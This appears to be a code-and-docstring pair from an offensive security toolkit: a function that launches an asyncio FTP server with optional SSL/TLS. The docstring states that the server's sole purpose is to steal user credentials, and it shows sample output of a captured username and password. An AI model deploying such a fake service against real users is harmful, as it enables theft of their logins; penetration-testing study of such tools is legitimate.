code: def cmd_server_ftp(address, port, enable_ssl, ssl_cert, ssl_key, verbose):
      
  
      ssl_context = None
  
      if enable_ssl:
  
          if not (ssl_cert and ssl_key):
              print('Please, specify --ssl-cert and --ssl-key to enable SSL/TLS')
              return False
  
          ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
          ssl_context.check_hostname = False
          ssl_context.load_cert_chain(ssl_cert, ssl_key)
  
      loop = asyncio.get_event_loop()
      coro = loop.create_server(ServerFTP, host=address, port=port, ssl=ssl_context, reuse_address=True, reuse_port=True)
      server = loop.run_until_complete(coro)
      drop_privileges()
  
      print('Listening on port {}'.format(port))
  
      try:
          loop.run_forever()
      finally:
          server.close()
  
      loop.close()
docs: Basic fake FTP server, whith the only purpose to steal user credentials.
  
      Supports SSL/TLS.
  
      Example:
  
      \b
      # sudo habu.server.ftp --ssl --ssl-cert /tmp/cert.pem --ssl-key /tmp/key.pem
      Listening on port 21
      Accepted connection from ('192.168.0.27', 56832)
      Credentials collected from 192.168.0.27! fabian 123456